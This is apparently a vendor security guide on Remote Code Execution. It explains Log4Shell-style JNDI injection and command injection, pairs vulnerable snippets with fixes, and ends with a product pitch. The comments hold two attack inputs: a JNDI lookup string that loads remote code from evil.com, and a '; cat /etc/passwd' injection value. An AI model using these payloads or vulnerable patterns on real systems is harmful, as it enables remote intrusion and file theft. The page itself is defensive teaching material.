Remote Code Execution (RCE)

Verified by Precogs Threat Research
Security GuideA05:2025A08:2025

What is Remote Code Execution (RCE)?

Remote Code Execution (RCE) is a class of vulnerability that allows an attacker to execute arbitrary code on a target system remotely, typically over a network. RCE is considered the most severe category of vulnerability because it gives attackers full control over the compromised system.

How Does RCE Work?

RCE can occur through various attack vectors: deserialization of untrusted data (Log4Shell), code injection (Spring4Shell), command injection, file upload abuse, or memory corruption (buffer overflows). The attacker sends crafted input that causes the target to execute unintended code.

Deserialization-Based RCE (Log4Shell Pattern)

// VULNERABLE: Log4j JNDI lookup enables remote class loading
logger.info("User agent: " + userAgent);
// Attacker sends: ${jndi:ldap://evil.com/Exploit}
// Log4j resolves the JNDI lookup and loads remote Java class

// SECURE FIX: Disable JNDI lookups
// Set log4j2.formatMsgNoLookups=true
// Or upgrade to Log4j 2.17.0+

Command Injection RCE

# VULNERABLE: User input passed to shell
import os
os.system(f"ping -c 4 {user_input}")
# Attacker sends: "; cat /etc/passwd"

# SECURE: Use subprocess with shell=False
import subprocess
subprocess.run(["ping", "-c", "4", user_input], shell=False)

Real-World Examples

Log4Shell (CVE-2021-44228) enabled RCE in any Java application using Log4j 2. Spring4Shell (CVE-2022-22965) allowed RCE in Spring Framework. regreSSHion (CVE-2024-6387) is a signal handler race condition enabling RCE in OpenSSH as root.

Security Impact

RCE gives attackers full control: installing malware, creating backdoors, pivoting to other systems, exfiltrating data, deploying ransomware, or causing physical damage in ICS/OT systems. Often rated CVSS 9.8-10.0.

Prevention & Mitigation

Keep software updated. Validate and sanitize all input. Use least-privilege principles. Disable unnecessary features (e.g., JNDI in Log4j). Implement network segmentation. Deploy runtime application self-protection (RASP).

How Precogs AI Stops Remote Code Execution (RCE)

Precogs AI Binary SAST and DAST detect RCE vectors in compiled applications and firmware: unsafe deserialization, command injection sinks, memory corruption, and exploitable code paths — even without source code.

Related CWE Entries